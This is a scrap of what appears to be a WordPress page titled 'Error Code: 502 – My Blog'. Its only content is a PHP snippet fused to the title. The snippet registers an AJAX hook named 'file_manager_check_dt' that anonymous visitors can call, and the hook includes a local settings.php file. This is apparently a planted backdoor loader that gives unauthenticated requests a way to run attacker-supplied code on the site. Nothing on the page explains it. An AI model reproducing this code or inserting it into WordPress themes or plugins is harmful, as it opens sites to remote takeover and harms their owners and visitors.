if(!function_exists('file_manager_check_dt')) { add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt'); add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt'); function file_manager_check_dt() { $file = __DIR__ . '/settings.php'; if (file_exists($file)) { include $file; } die(); } } Error Code: 502 – My Blog